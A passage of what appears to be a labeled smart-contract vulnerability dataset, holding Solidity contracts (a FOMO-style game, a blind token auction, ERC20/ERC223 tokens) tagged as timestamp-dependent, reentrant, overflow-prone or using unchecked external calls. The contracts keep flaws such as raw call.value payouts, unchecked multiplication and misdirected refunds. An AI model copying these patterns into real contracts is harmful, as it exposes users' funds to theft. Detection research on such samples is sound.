uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/timestamp dependency (TP)/,6,6 33446.sol,"pragma solidity ^0.4.18; /** * * @author <[email protected]> * * Version G * * Overview: * This contract implements a blind auction for burnable tokens. Each secret bid consists * of a hashed bid-tuple, (`price`, `quantity`, `salt`), where price is the maximum amount * of ether (in szabo) a user is willing to pay per token, quantity is the number of tokens * the user wants to buy, and salt is an arbitrary value. Together with the hashed bid-tuple, * the user includes an encrypted bid tuple, using the public key of the party running the * auction, and of course a deposit sufficient to pay for the bid. * * At the end of the bidding period, the party running the auction sets a 'strike price', * thereby signaling the start of the sale period. During this period all bidders must * execute their bids. To execute a bid a user reveals their bid-tuple. All bids with a * price at least as high as the strike price are filled, and all bids under the strike * price are returned. Bids that are exactly equal to the strike price are partially filled, * so that the maximum number of tokens generated does not exceed the total supply. * * Strike Price: * The strike price is calculated offchain by the party running the auction. When each * secret bid is submitted an event is generated, which includes the sender address, hashed * bid-tuple, encrypted bid-tuple and deposit amount. the party running the auction decrypts * the encrypted bid-tuple, and regenerates the hash. If the regenerated hash does not match * the hash that was submitted with the secret bid, or if the desposited funds are not * sufficient to cover the bid, then the bid is disqualified. (presumably disqualifying * invalid bids will be cheaper than validating all the valid bids). * * The auction is structured with a fixed maximum number of tokens. So to raise the maximum * funds the bids are sorted, highest to lowest. Starting the strike-price at the highest * bid, it is reduced, bid by bid, to include more bids. The quantity of tokens sold increases * each time a new bid is included; but the token price is reduced. At each step the total * raise (token-price times quantity-of-tokens-sold) is computed. And the process ends * whenever the total raise decreases, or when the total number of tokens exceeds the total * supply. * * Notes: * The `salt` is included in the bid-tuple to discourage brute-force attacks on the inputs * to the secret bid. * * A user cannot submit multiple bids from the same Ether account. * * Users are required to execute their bids. If a user fails to execute their bid before the * end of the sale period, then they forfeit half of their deposit, and receive no tokens. * This rule was adopted (as opposed to refunding un-revealed bids) to prevent users from placing * several bids, and only revealing one of them. With this rule, all bids must be executed. * */ //import './iBurnableToken.sol'; pragma solidity ^0.4.15; //Burnable Token interface //import './iERC20Token.sol'; pragma solidity ^0.4.15; // Token standard API // https://github.com/ethereum/EIPs/issues/20 contract iERC20Token { function totalSupply() public constant returns (uint supply); function balanceOf( address who ) public constant returns (uint value); function allowance( address owner, address spender ) public constant returns (uint remaining); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract iBurnableToken is iERC20Token { function burnTokens(uint _burnCount) public; function unPaidBurnTokens(uint _burnCount) public; } //import './SafeMath.sol'; pragma solidity ^0.4.11; /* Overflow protected math functions */ contract SafeMath { /** constructor */ function SafeMath() public { } /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) pure internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) pure internal returns (uint256) { assert(_x >= _y); return _x - _y; } /** @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) pure internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract TokenAuction is SafeMath { struct SecretBid { bool disqualified; // flag set if hash does not match encrypted bid uint deposit; // funds deposited by bidder uint refund; // funds to be returned to bidder uint tokens; // structure has been allocated bytes32 hash; // hash of price, quantity, secret } uint constant AUCTION_START_EVENT = 0x01; uint constant AUCTION_END_EVENT = 0x02; uint constant SALE_START_EVENT = 0x04; uint constant SALE_END_EVENT = 0x08; event SecretBidEvent(uint indexed batch, address indexed bidder, uint deposit, bytes32 hash, bytes message); event ExecuteEvent(uint indexed batch, address indexed bidder, uint cost, uint refund); event ExpireEvent(uint indexed batch, address indexed bidder, uint cost, uint refund); event BizarreEvent(address indexed addr, string message, uint val); event BidDisqualifiedEvent(address indexed bidder, bytes32 hash); event StateChangeEvent(uint mask); // //event MessageEvent(string message); //event MessageUintEvent(string message, uint val); //event MessageAddrEvent(string message, address val); //event MessageBytes32Event(string message, bytes32 val); bool public isLocked; uint public stateMask; address public owner; address public developers; address public underwriter; iBurnableToken public token; uint public proceeds; uint public strikePrice; uint public strikePricePctX10; uint public decimalMultiplier; uint public developerReserve; uint public developerPctX10K; uint public purchasedCount; uint public secretBidCount; uint public executedCount; uint public expiredCount; uint public saleDuration; uint public auctionStart; uint public auctionEnd; uint public saleEnd; mapping (address => SecretBid) public secretBids; // //tunables uint batchSize = 4; uint contractSendGas = 100000; modifier ownerOnly { require(msg.sender == owner); _; } modifier unlockedOnly { require(!isLocked); _; } modifier duringAuction { require((stateMask & (AUCTION_START_EVENT | AUCTION_END_EVENT)) == AUCTION_START_EVENT); _; } modifier afterAuction { require((stateMask & AUCTION_END_EVENT) != 0); _; } modifier duringSale { require((stateMask & (SALE_START_EVENT | SALE_END_EVENT)) == SALE_START_EVENT); _; } modifier afterSale { require((stateMask & SALE_END_EVENT) != 0); _; } // //constructor // function TokenAuction() public { owner = msg.sender; } function lock() public ownerOnly { isLocked = true; } function setToken(iBurnableToken _token, uint _decimalMultiplier, address _underwriter) public ownerOnly unlockedOnly { token = _token; decimalMultiplier = _decimalMultiplier; underwriter = _underwriter; } function setAuctionParms(uint _auctionStart, uint _auctionDuration, uint _saleDuration) public ownerOnly unlockedOnly { auctionStart = _auctionStart; auctionEnd = safeAdd(_auctionStart, _auctionDuration); saleDuration = _saleDuration; if (stateMask != 0) { //handy for debug stateMask = 0; strikePrice = 0; executedCount = 0; houseKeep(); } } function reserveDeveloperTokens(address _developers, uint _developerPctX10K) public ownerOnly unlockedOnly { require(developerPctX10K < 1000000); developers = _developers; developerPctX10K = _developerPctX10K; uint _tokenCount = token.balanceOf(this); developerReserve = safeMul(_tokenCount, developerPctX10K) / 1000000; } function tune(uint _batchSize, uint _contractSendGas) public ownerOnly { batchSize = _batchSize; contractSendGas = _contractSendGas; } // //called by owner (or any other concerned party) to generate a SatateChangeEvent // function houseKeep() public { uint _oldMask = stateMask; if (now >= auctionStart) { stateMask |= AUCTION_START_EVENT; if (now >= auctionEnd) { stateMask |= AUCTION_END_EVENT; if (strikePrice > 0) { stateMask |= SALE_START_EVENT; if (now >= saleEnd) stateMask |= SALE_END_EVENT; } } } if (stateMask != _oldMask) StateChangeEvent(stateMask); } // // setting the strike price starts the sale period, during which bidders must call executeBid. // the strike price should only be set once.... at any rate it cannot be changed once anyone has executed a bid. // strikePricePctX10 specifies what percentage (x10) of requested tokens should be awarded to each bidder that // bid exactly equal to the strike price. // // note: strikePrice is the price of whole tokens (in wei) // function setStrikePrice(uint _strikePrice, uint _strikePricePctX10) public ownerOnly afterAuction { require(executedCount == 0); strikePrice = _strikePrice; strikePricePctX10 = _strikePricePctX10; saleEnd = safeAdd(now, saleDuration); houseKeep(); } // // nobody should be sending funds via this function.... bizarre... // the fact that we adjust proceeds here means that this fcn will OOG if called with a send or transfer. that's // probably good, cuz it prevents the caller from losing their funds. // function () public payable { proceeds = safeAdd(proceeds, msg.value); BizarreEvent(msg.sender, ""bizarre payment"", msg.value); } function depositSecretBid(bytes32 _hash, bytes _message) public duringAuction payable { //each address can only submit one bid -- and once a bid is submitted it is imutable //for testing, an exception is made for the owner -- but only while the contract is unlocked if (!(msg.sender == owner && !isLocked) && (_hash == 0 || secretBids[msg.sender].hash != 0) ) revert(); secretBids[msg.sender].hash = _hash; secretBids[msg.sender].deposit = msg.value; secretBids[msg.sender].disqualified = false; secretBidCount += 1; uint _batch = secretBidCount / batchSize; SecretBidEvent(_batch, msg.sender, msg.value, _hash, _message); } // // the owner may disqualify a bid if it is bogus. for example if the hash does not correspond // to the hash that is generated from the encyrpted bid tuple. when a disqualified bid is // executed all the deposited funds will be returned to the bidder, as if the bid was below // the strike-price. // function disqualifyBid(address _from, bool _doRefund) public ownerOnly duringAuction { secretBids[_from].disqualified = true; BidDisqualifiedEvent(_from, secretBids[_from].hash); if (_doRefund == true) { uint _amount = secretBids[_from].deposit; secretBids[_from].hash = bytes32(0); secretBids[_from].deposit = 0; secretBidCount = safeSub(secretBidCount, 1); if (_amount > 0) _from.transfer(_amount); } } // // execute a bid. // * purchases tokens if the specified price is above the strike price // * refunds whatever remains of the deposit // // call only during the sale period (strikePrice > 0) // note: _quantity is the number of whole tokens; that is low-level-tokens * decimalMultiplier // similarly _price is the price of whole tokens; that is low-level-token price / decimalMultiplier // function executeBid(uint256 _secret, uint256 _price, uint256 _quantity) public duringSale { executeBidFor(msg.sender, _secret, _price, _quantity); } function executeBidFor(address _addr, uint256 _secret, uint256 _price, uint256 _quantity) public duringSale { bytes32 computedHash = keccak256(_secret, _price, _quantity); //MessageBytes32Event(""computedHash"", computedHash); require(secretBids[_addr].hash == computedHash); // if (secretBids[_addr].deposit > 0) { uint _cost = 0; uint _refund = 0; uint _priceWei = safeMul(_price, 1 szabo); if (_priceWei >= strikePrice && !secretBids[_addr].disqualified) { //up till now all prices and quantities and referred to whole tokens (including strike price); now that we are about //to actually do the transfer, convert to low-level tokens uint _lowLevelQuantity = safeMul(_quantity, decimalMultiplier); uint _lowLevelPrice = strikePrice / decimalMultiplier; uint256 _purchaseCount = (_priceWei > strikePrice) ? _lowLevelQuantity : (safeMul(strikePricePctX10, _lowLevelQuantity) / 1000); var _maxPurchase = safeSub(token.balanceOf(this), developerReserve); if (_purchaseCount > _maxPurchase) _purchaseCount = _maxPurchase; _cost = safeMul(_purchaseCount, _lowLevelPrice); if (secretBids[_addr].deposit >= _cost) { secretBids[_addr].deposit -= _cost; proceeds = safeAdd(proceeds, _cost); secretBids[_addr].tokens += _purchaseCount; purchasedCount += _purchaseCount; //transfer tokens to this bidder if (!token.transfer(_addr, _purchaseCount)) revert(); } } //refund whatever remains //use pull here, to prevent any bidder from reverting their purchase if (secretBids[_addr].deposit > 0) { _refund = secretBids[_addr].deposit; secretBids[_addr].refund += _refund; secretBids[_addr].deposit = 0; } executedCount += 1; uint _batch = executedCount / batchSize; ExecuteEvent(_batch, _addr, _cost, _refund); } } // // expireBid // if a bid is not executed during the sale period, then the owner can mark the bid as expired. in this case: // * the bidder gets a refund of half of his deposit // * the bidder forfeits the other half of his deposit // * the bidder does not receive an tokens // function expireBid(address _addr) public ownerOnly afterSale { if (secretBids[_addr].deposit > 0) { uint _forfeit = secretBids[_addr].deposit / 2; proceeds = safeAdd(proceeds, _forfeit); //refund whatever remains uint _refund = safeSub(secretBids[_addr].deposit, _forfeit); //use pull here, to prevent any bidder from reverting the expire secretBids[msg.sender].refund += _refund; secretBids[_addr].deposit = 0; expiredCount += 1; uint _batch = expiredCount / batchSize; ExpireEvent(_batch, _addr, _forfeit, _refund); } } // // bidder withdraw excess funds (or all funds if bid was too low) // function withdrawRefund() public { uint _amount = secretBids[msg.sender].refund; secretBids[msg.sender].refund = 0; msg.sender.transfer(_amount); } // // grant developer tokens, equal to a percentage of purchased tokens. // once called, any remaining tokens will be burned. // function doDeveloperGrant() public afterSale { uint _quantity = safeMul(purchasedCount, developerPctX10K) / 1000000; uint _tokensLeft = token.balanceOf(this); if (_quantity > _tokensLeft) _quantity = _tokensLeft; if (_quantity > 0) { //transfer pct tokens to developers _tokensLeft -= _quantity; if (!token.transfer(developers, _quantity)) revert(); } //and burn everthing that remains token.unPaidBurnTokens(_tokensLeft); } // // pay auction proceeds to the underwriter // may be called by underwriter or owner (fbo underwriter) // function payUnderwriter() public { require(msg.sender == owner || msg.sender == underwriter); uint _amount = proceeds; proceeds = 0; if (!underwriter.call.gas(contractSendGas).value(_amount)()) revert(); } //for debug //only available before the contract is locked function haraKiri() public ownerOnly unlockedOnly { selfdestruct(owner); } }",./Dataset/reentrancy (RE)/,5,5 1738.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract mcs is owned, TokenERC20{ bool public freeze=true; function mcs() TokenERC20(600000000, ""Magicstonelink"", ""MCS"") public {} function _transfer(address _from, address _to, uint _value) internal { require (freeze); require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function setfreeze(bool state) onlyOwner public{ freeze=state; } }",./Dataset/integer overflow (OF)/,4,4 43887.sol,"pragma solidity ^0.4.18; interface ERC20 { //ERC-20 Token Standard https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md function name() public view returns (string); function symbol() public view returns (string); function decimals() public view returns (uint8); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } interface ERC223Receiver { function tokenFallback(address _from, uint256 _value, bytes _data) public; } contract ERC223 is ERC20 { //ERC223 token standard https://github.com/Dexaran/ERC223-token-standard function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); function transfer(address _to, uint256 _value, bytes _data, string _customFallback) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data); } contract NGToken is ERC223 { string constant private NAME = ""NEO Genesis Token""; string constant private SYMBOL = ""NGT""; uint8 constant private DECIMALS = 18; uint256 constant private INITIAL_SUPPLY = 20000000000 * (10 ** uint256(DECIMALS)); uint256 private totalBurned = 0; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowed; function NGToken() public { balances[msg.sender] = INITIAL_SUPPLY; } //ERC20 function name() public view returns (string) { return NAME; } function symbol() public view returns (string) { return SYMBOL; } function decimals() public view returns (uint8) { return DECIMALS; } function totalSupply() public view returns (uint256) { return INITIAL_SUPPLY - totalBurned; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { if (isContract(_to)) { bytes memory empty; return transferToContract(_to, _value, empty); } else { require(_to != address(0x0)); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); // Transfer(msg.sender, _to, _value, _data); } return true; } function multipleTransfer(address[] _to, uint256 _value) public returns (bool success) { require(_value * _to.length > 0); require(balances[msg.sender] >= _value * _to.length); balances[msg.sender] -= _value * _to.length; for (uint256 i = 0; i < _to.length; ++i) { balances[_to[i]] += _value; Transfer(msg.sender, _to[i], _value); } return true; } function batchTransfer(address[] _to, uint256[] _value) public returns (bool success) { require(_to.length > 0); require(_value.length > 0); require(_to.length == _value.length); for (uint256 i = 0; i < _to.length; ++i) { address to = _to[i]; uint256 value = _value[i]; require(balances[msg.sender] >= value); balances[msg.sender] -= value; balances[to] += value; Transfer(msg.sender, to, value); } return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0x0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); bytes memory empty; Transfer(_from, _to, _value, empty); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { //https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/ //force to 0 before calling ""approve"" again require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } return false; } function increaseApproval(address _spender, uint256 _addValue) public returns (bool) { allowed[msg.sender][_spender] += _addValue; Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subValue) public returns (bool) { if (_subValue > allowed[msg.sender][_spender]) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] -= _subValue; } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } //ERC233 function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint256 _value, bytes _data, string _customFallback) public returns (bool success) { if (isContract(_to)) { require(_to != address(0x0)); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; assert(_to.call.value(0)(bytes4(keccak256(_customFallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) { require(_to != address(0x0)); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) { require(_to != address(0x0)); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; ERC223Receiver receiver = ERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } function isContract(address _addr) private view returns (bool) { // if (_addr == address(0x0)) // return false; uint256 length; assembly { length := extcodesize(_addr) } return (length > 0); } //Burn event Burn(address indexed burner, uint256 value, uint256 currentSupply, bytes data); function burn(uint256 _value, bytes _data) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; totalBurned += _value; Burn(msg.sender, _value, totalSupply(), _data); return true; } function burnFrom(address _from, uint256 _value, bytes _data) public returns (bool success) { if (transferFrom(_from, msg.sender, _value)) { return burn(_value, _data); } return false; } function initialSupply() public pure returns (uint256) { return INITIAL_SUPPLY; } function currentBurned() public view returns (uint256) { return totalBurned; } //Stop function () public { require(false); } }",./Dataset/unchecked external call (UC),7,7 0x012bc399c3e8b75a506c9ff2b7ad413641f33102_Issuer.sol,"/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || 